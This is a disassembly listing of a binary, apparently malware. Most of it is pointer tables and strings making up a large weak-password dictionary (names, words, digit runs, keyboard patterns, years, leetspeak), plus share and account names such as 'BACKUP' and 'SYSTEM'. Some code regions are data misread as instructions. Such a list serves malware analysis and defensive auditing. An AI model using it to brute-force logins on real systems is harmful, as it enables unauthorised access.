; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_0 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset dword_428DBC dd offset dword_428DB8 dd offset dword_428DB4 dd offset dword_428DB0 dd offset dword_428DA8 dd offset dword_428DA0 dd offset dword_428D98 dd offset dword_428D8C dd offset loc_420927+1 dd offset dword_428D88 dd offset off_428D84 dd offset a@_6 ; "@" dd offset a@@ ; "@@" dd offset asc_428D78 ; "+" dd offset asc_428D74 ; "++" dd offset asc_428D70 ; "+++" dd offset asc_428D68 ; "++++" dd offset asc_428D64 ; "-" dd offset asc_428D60 ; "--" dd offset asc_428D60 ; "--" dd offset asc_428D58 ; "----" dd offset asc_428D54 ; "-+" dd offset asc_428D4C ; "--++" dd offset a0 ; "=-0" dd offset a789_0 ; "789+" dd offset a456_0 ; "456+" dd offset asc_428D34 ; "$" dd offset asc_428D30 ; "$$" dd offset asc_428D2C ; "$$$" dd offset a@_5 ; "*&^%$#@!" dd offset a@_4 ; "&^%$#@!" dd offset a@_3 ; "^%$#@!" dd offset a@_2 ; "%$#@!" dd offset a@_1 ; "$#@!" dd offset a@_0 ; "#@!" dd offset a@ ; "@!" dd offset dword_42093C dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a000000000 ; "000000000" dd offset a0000000000 ; "0000000000" dd offset asc_4221FC ; "*" dd offset asc_428CDC ; "**" dd offset asc_428CD8 ; "***" dd offset asc_428CD0 ; "****" dd offset asc_428CC8 ; "*****" dd offset asc_428CC0 ; "******" dd offset asc_428CB8 ; "*******" dd offset asc_428CAC ; "********" dd offset asc_428CA0 ; "*********" dd offset a001 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456 ; "456" dd offset a654 ; "654" dd offset a789 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" ; --------------------------------------------------------------------------- push 60004287h xchg eax, [edx+0] pop eax xchg eax, [edx+0] db 64h enter 42h, 54h xchg eax, [edx+0] dec esp xchg eax, [edx+0] add cl, cl inc edx add [eax], cl leave inc edx add [edi+eax*4+42h], al add [edi+eax*4], bh inc edx add [edi+eax*4], dh inc edx add [edi+eax*4], ch inc edx add [edi+eax*4], ah inc edx add [edi+eax*4], bl inc edx add [eax], dl xchg eax, [edx+0] or [edi-7903FFBEh], al inc edx add al, bh xchg al, [edx+0] lock xchg al, [edx+0] push eax push esi inc edx add [eax-13FFBD39h], dh xchg al, [edx+0] lodsb mov dword ptr [edx+0], offset aAaaa ; "aaaa" fadd qword ptr [esi-792BFFBEh] inc edx add ah, cl xchg al, [edx+0] rol byte ptr [esi-794BFFBEh], 42h add [eax-63FFBD7Ah], ch xchg al, [edx+0] cwde xchg al, [edx+0] xchg eax, esp xchg al, [edx+0] add bh, 42h add [ecx+42h], bl add [ecx+42h], dl add [esi+eax*4-797FFFBEh], cl inc edx add [esi+eax*4+42h], dh add [eax-7Ah], ch inc edx add [eax], cl retf ; --------------------------------------------------------------------------- dw 42h ; --------------------------------------------------------------------------- pusha xchg al, [edx+0] mov al, 9Dh inc edx add [eax-7Ah], bl inc edx add [esi+eax*4+42h], cl add [esi+eax*4+42h], al add [ecx+ecx*8-79BFFFBEh], bl inc edx add [esi+eax*4], bh inc edx add [eax], bh xchg al, [edx+0] rcl byte ptr [edi-79CBFFBEh], 42h add [esi+eax*4], ch inc edx add [edi+edx*4+42h], dl add [esi+eax*8], bh inc edx add [eax], bh mov byte ptr [edx+0], 34h loc_427DE9: ; CODE XREF: .nsp0:00427E20j mov byte ptr [edx+0], 2Ch mov byte ptr [edx+0], 24h mov byte ptr [edx+0], 1Ch mov byte ptr [edx+0], 14h mov byte ptr [edx+0], 8 mov byte ptr [edx+0], 0FCh lds eax, [edx+0] fmul qword ptr [ebp-6D0BFFBEh] inc edx add ah, ch xchg eax, edx inc edx add [esi+eax*4], ah inc edx add [eax], ah xchg al, [edx+0] sbb al, 86h inc edx add [eax], bl xchg al, [edx+0] jo short loc_427DE9 inc edx add [eax], dl xchg al, [edx+0] or [esi-79FFFFBEh], al inc edx add ah, bh test [edx+0], eax mov esp, 90004290h mov dword ptr [edx+0], offset aAsdfg ; "asdfg" ; --------------------------------------------------------------------------- dd offset aAsdfgh ; "asdfgh" dd offset aAsdfghj ; "asdfghj" dd offset aAsdfghjk ; "asdfghjk" dd offset aAsdfghjkl ; "asdfghjkl" dd offset aQaz ; "qaz" dd offset aWsx ; "wsx" dd offset aEdc ; "edc" dd offset aRfv ; "rfv" dd offset aB_0 ; "b" dd offset aBb ; "bb" dd offset aBbb ; "bbb" dd offset aBbbb ; "bbbb" dd offset aBbbbb ; "bbbbb" dd offset aBbbbbb ; "bbbbbb" dd offset aBbbbbbb ; "bbbbbbb" dd offset aBbbbbbbb ; "bbbbbbbb" dd offset aBbbbbbbbb ; "bbbbbbbbb" dd offset aC ; "c" dd offset aCc_1 ; "cc" dd offset aCcc ; "ccc" dd offset aCccc_0 ; "cccc" dd offset aCcccc ; "ccccc" dd offset aCccccc ; "cccccc" dd offset aCcccccc ; "ccccccc" dd offset aCccccccc ; "cccccccc" dd offset aCcccccccc ; "ccccccccc" dd offset aD ; "d" dd offset aDd ; "dd" dd offset aDdd ; "ddd" dd offset aDddd ; "dddd" dd offset aDdddd ; "ddddd" dd offset aF ; "f" dd offset aFf ; "ff" dd offset aFff ; "fff" dd offset aFfff ; "ffff" dd offset aFffff ; "fffff" dd offset aE ; "e" dd offset aEe ; "ee" dd offset aEee ; "eee" dd offset aEeee ; "eeee" dd offset aEeeee ; "eeeee" dd offset aEeeeee ; "eeeeee" dd offset aG ; "g" dd offset aGg ; "gg" dd offset aGgg ; "ggg" dd offset aGggg ; "gggg" dd offset aGgggg ; "ggggg" dd offset aGggggg ; "gggggg" dd offset asc_4284B0 ; "h" dd offset aHh ; "hh" dd offset aHhh ; "hhh" dd offset aHhhh ; "hhhh" dd offset aHhhhh ; "hhhhh" dd offset aHhhhhh ; "hhhhhh" dd offset aI_0 ; "i" dd offset aIi ; "ii" dd offset aIii ; "iii" dd offset aIiii ; "iiii" dd offset aIiiii ; "iiiii" dd offset aIiiiii ; "iiiiii" dd offset aJ ; "j" dd offset aJj ; "jj" dd offset aJjj ; "jjj" dd offset aJjjj ; "jjjj" dd offset aJjjjj ; "jjjjj" dd offset aJjjjjj ; "jjjjjj" dd offset aK ; "k" dd offset aKk ; "kk" dd offset aKkk ; "kkk" dd offset aKkkk ; "kkkk" dd offset aKkkkk ; "kkkkk" dd offset aKkkkkk ; "kkkkkk" dd offset asc_428420 ; "l" dd offset aLl ; "ll" dd offset aLll ; "lll" dd offset aLlll ; "llll" dd offset aLllll ; "lllll" dd offset aLlllll ; "llllll" dd offset aM ; "m" dd offset aMm ; "mm" dd offset aMmm ; "mmm" dd offset aMmmm ; "mmmm" dd offset aMmmmm ; "mmmmm" dd offset aMmmmmm ; "mmmmmm" dd offset aN ; "n" dd offset aNn ; "nn" dd offset aNnn ; "nnn" dd offset aNnnn ; "nnnn" dd offset aNnnnn ; "nnnnn" dd offset aNnnnnn ; "nnnnnn" dd offset aO ; "o" dd offset aOo ; "oo" dd offset aOoo ; "ooo" dd offset aOooo ; "oooo" dd offset aOoooo ; "ooooo" dd offset aOooooo ; "oooooo" dd offset aP ; "p" dd offset aPp ; "pp" dd offset aPpp ; "ppp" dd offset aPppp ; "pppp" dd offset aPpppp ; "ppppp" dd offset aPppppp ; "pppppp" dd offset aU ; "u" dd offset aUu ; "uu" dd offset aUuu ; "uuu" dd offset aUuuu ; "uuuu" dd offset aUuuuu ; "uuuuu" dd offset aUuuuuu ; "uuuuuu" dd offset aS_4 ; "s" dd offset aSs ; "ss" dd offset aSss ; "sss" dd offset aSsss ; "ssss" dd offset aSssss ; "sssss" dd offset aSsssss ; "ssssss" dd offset aT ; "t" dd offset aTt ; "tt" dd offset aTtt ; "ttt" dd offset aTttt ; "tttt" dd offset aTtttt ; "ttttt" dd offset aTttttt ; "tttttt" dd offset aY ; "y" dd offset aYy ; "yy" dd offset aYyy ; "yyy" dd offset aYyyy ; "yyyy" dd offset aYyyyy ; "yyyyy" dd offset aYyyyyy ; "yyyyyy" dd offset aV ; "v" dd offset aVv ; "vv" dd offset aVvv ; "vvv" dd offset aVvvv ; "vvvv" dd offset aVvvvv ; "vvvvv" dd offset aVvvvvv ; "vvvvvv" dd offset aW ; "w" dd offset aWw ; "ww" dd offset aWww ; "www" dd offset aWwww ; "wwww" dd offset aWwwww ; "wwwww" dd offset aWwwwww ; "wwwwww" dd offset aQ ; "q" dd offset aQq ; "qq" dd offset aQqq ; "qqq" dd offset aQqqq ; "qqqq" dd offset aQqqqq ; "qqqqq" dd offset aQqqqqq ; "qqqqqq" dd offset aZ ; "z" dd offset aZz ; "zz" dd offset aZzz ; "zzz" dd offset aZzzz ; "zzzz" dd offset aZzzzz ; "zzzzz" dd offset aZzzzzz ; "zzzzzz" dd offset aXxyyzz ; "xxyyzz" dd offset aZzxx ; "zzxx" dd offset aAass ; "aass" dd offset aQqww ; "qqww" dd offset aZzzxxxccc ; "zzzxxxccc" dd offset aAaasssddd ; "aaasssddd" dd offset aQqqwwweee ; "qqqwwweee" dd offset aQqwwee ; "qqwwee" dd offset aAassdd ; "aassdd" dd offset aZzxxcc ; "zzxxcc" dd offset a1qaz ; "1qaz" dd offset a2wsx ; "2wsx" dd offset a2qaz ; "2qaz" ; --------------------------------------------------------------------------- fadd dword ptr [ecx-7E2FFFBEh] inc edx add al, cl add dword ptr [edx+0], offset aMnb ; "mnb" mov esp, 0B4004281h add dword ptr [edx+0], offset a2684 ; "2684" movsb add dword ptr [edx+0], offset a753159 ; "753159" xchg eax, esp add dword ptr [edx+0], offset a951753 ; "951753" test [ecx-7E83FFBEh], al inc edx add [esi+eax*4+42h], al add [eax-36h], cl inc edx add [ebx+ecx*8+42h], ah add [ebx+ecx*8+42h], dl add [eax-36h], al inc edx add [edx+ecx*8], bh inc edx add [edx+ecx*8], dh inc edx add [edx+ecx*8], ch inc edx add [eax], cl retf ; --------------------------------------------------------------------------- inc edx add [edx+ecx*8], ah inc edx add [eax], bl retf 42h ; --------------------------------------------------------------------------- adc dl, cl inc edx add [eax], cl retf 42h ; --------------------------------------------------------------------------- dd offset aWrite ; "WRITE" dd offset aFull_0 ; "FULL" dd offset aLadeda ; "ladeda" dd offset aBoth ; "BOTH" dd offset aRead ; "READ" dd offset aFiles ; "FILES" dd offset aDemo ; "DEMO" dd offset aOwner_0 ; "OWNER" dd offset aOwner_1 ; "Owner" dd offset aEdu ; "edu" dd offset aTest ; "TEST" dd offset aAccess ; "ACCESS" dd offset aUser_0 ; "USER" dd offset aBackup ; "BACKUP" dd offset aSystem ; "SYSTEM" dd offset aServer_0 ; "SERVER" align 8 dword_428178 dd 10h ; .nsp0:0040AA51r ... a142536 db '142536',0 align 4 a753951 db '753951',0 align 4 a951753 db '951753',0 ; DATA XREF: .nsp0:004280F1o align 4 a159357 db '159357',0 align 4 a753159 db '753159',0 ; DATA XREF: .nsp0:004280E9o align 4 a13579 db '13579',0 align 4 a2684 db '2684',0 ; DATA XREF: .nsp0:004280E1o align 4 a2486 db '2486',0 align 4 aMnbv db 'mnbv',0 align 4 aMnb db 'mnb',0 ; DATA XREF: .nsp0:004280D5o a112233 db '112233',0 align 10h a3wsx db '3wsx',0 align 4 a3edc db '3edc',0 align 10h a2qaz db '2qaz',0 ; DATA XREF: .nsp0:004280C8o align 4 a2wsx db '2wsx',0 ; DATA XREF: .nsp0:004280C4o align 10h a1qaz db '1qaz',0 ; DATA XREF: .nsp0:004280C0o align 4 aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:004280BCo align 10h aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:004280B8o align 4 aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:004280B4o align 10h aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:004280B0o align 4 aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:004280ACo align 4 aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:004280A8o align 4 aQqww db 'qqww',0 ; DATA XREF: .nsp0:004280A4o align 4 aAass db 'aass',0 ; DATA XREF: .nsp0:004280A0o align 4 aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0042809Co align 4 aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:00428098o align 4 aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:00428094o align 4 aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:00428090o align 4 aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0042808Co align 4 aZzz db 'zzz',0 ; DATA XREF: .nsp0:00428088o aZz db 'zz',0 ; DATA XREF: .nsp0:00428084o align 4 aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0042807Co align 4 aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:00428078o align 4 aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:00428074o align 4 aQqq db 'qqq',0 ; DATA XREF: .nsp0:00428070o aQq db 'qq',0 ; DATA XREF: .nsp0:0042806Co align 4 aQ: ; DATA XREF: .nsp0:00428068o unicode 0, <q>,0 aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:00428064o align 10h aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:00428060o align 4 aWwww db 'wwww',0 ; DATA XREF: .nsp0:0042805Co align 10h aWww db 'www',0 ; DATA XREF: .nsp0:00428058o aWw db 'ww',0 ; DATA XREF: .nsp0:00428054o align 4 aW: ; DATA XREF: .nsp0:00428050o unicode 0, <w>,0 aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0042804Co align 4 aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:00428048o align 4 aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:00428044o align 4 aVvv db 'vvv',0 ; DATA XREF: .nsp0:00428040o aVv db 'vv',0 ; DATA XREF: .nsp0:0040C5CAo ; .nsp0:0042803Co align 4 aV: ; DATA XREF: .nsp0:00428038o unicode 0, <v>,0 aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:00428034o align 4 aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:00428030o align 10h aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0042802Co align 4 aYyy db 'yyy',0 ; DATA XREF: .nsp0:00428028o aYy db 'yy',0 ; DATA XREF: .nsp0:00428024o align 10h aY: ; DATA XREF: .nsp0:00428020o unicode 0, <y>,0 aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0042801Co align 4 aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:00428018o align 4 aTttt db 'tttt',0 ; DATA XREF: .nsp0:00428014o align 4 aTtt db 'ttt',0 ; DATA XREF: .nsp0:00428010o aTt db 'tt',0 ; DATA XREF: .nsp0:0042800Co align 4 aT: ; DATA XREF: .nsp0:00428008o unicode 0, <t>,0 aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:00428004o align 10h aSssss db 'sssss',0 ; DATA XREF: .nsp0:00428000o align 4 aSsss db 'ssss',0 ; DATA XREF: .nsp0:00427FFCo align 10h aSss db 'sss',0 ; DATA XREF: .nsp0:00427FF8o aSs db 'ss',0 ; DATA XREF: .nsp0:00427FF4o align 4 aS_4: ; DATA XREF: .nsp0:00427FF0o unicode 0, <s>,0 aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:00427FECo align 4 aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:00427FE8o align 4 aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:00427FE4o align 4 aUuu db 'uuu',0 ; DATA XREF: .nsp0:00427FE0o aUu db 'uu',0 ; DATA XREF: .nsp0:00427FDCo align 4 aU: ; DATA XREF: .nsp0:00427FD8o unicode 0, <u>,0 aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:00427FD4o align 4 aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:00427FD0o align 10h aPppp db 'pppp',0 ; DATA XREF: .nsp0:00427FCCo align 4 aPpp db 'ppp',0 ; DATA XREF: .nsp0:00427FC8o aPp db 'pp',0 ; DATA XREF: .nsp0:00427FC4o align 10h aP: ; DATA XREF: .nsp0:00427FC0o unicode 0, <p>,0 aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:00427FBCo align 4 aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:00427FB8o align 4 aOooo db 'oooo',0 ; DATA XREF: .nsp0:00427FB4o align 4 aOoo db 'ooo',0 ; DATA XREF: .nsp0:00427FB0o aOo db 'oo',0 ; DATA XREF: .nsp0:00427FACo align 4 aO: ; DATA XREF: .nsp0:00427FA8o unicode 0, <o>,0 aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:00427FA4o align 10h aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:00427FA0o align 4 aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:00427F9Co align 10h aNnn db 'nnn',0 ; DATA XREF: .nsp0:00427F98o aNn db 'nn',0 ; DATA XREF: .nsp0:00427F94o align 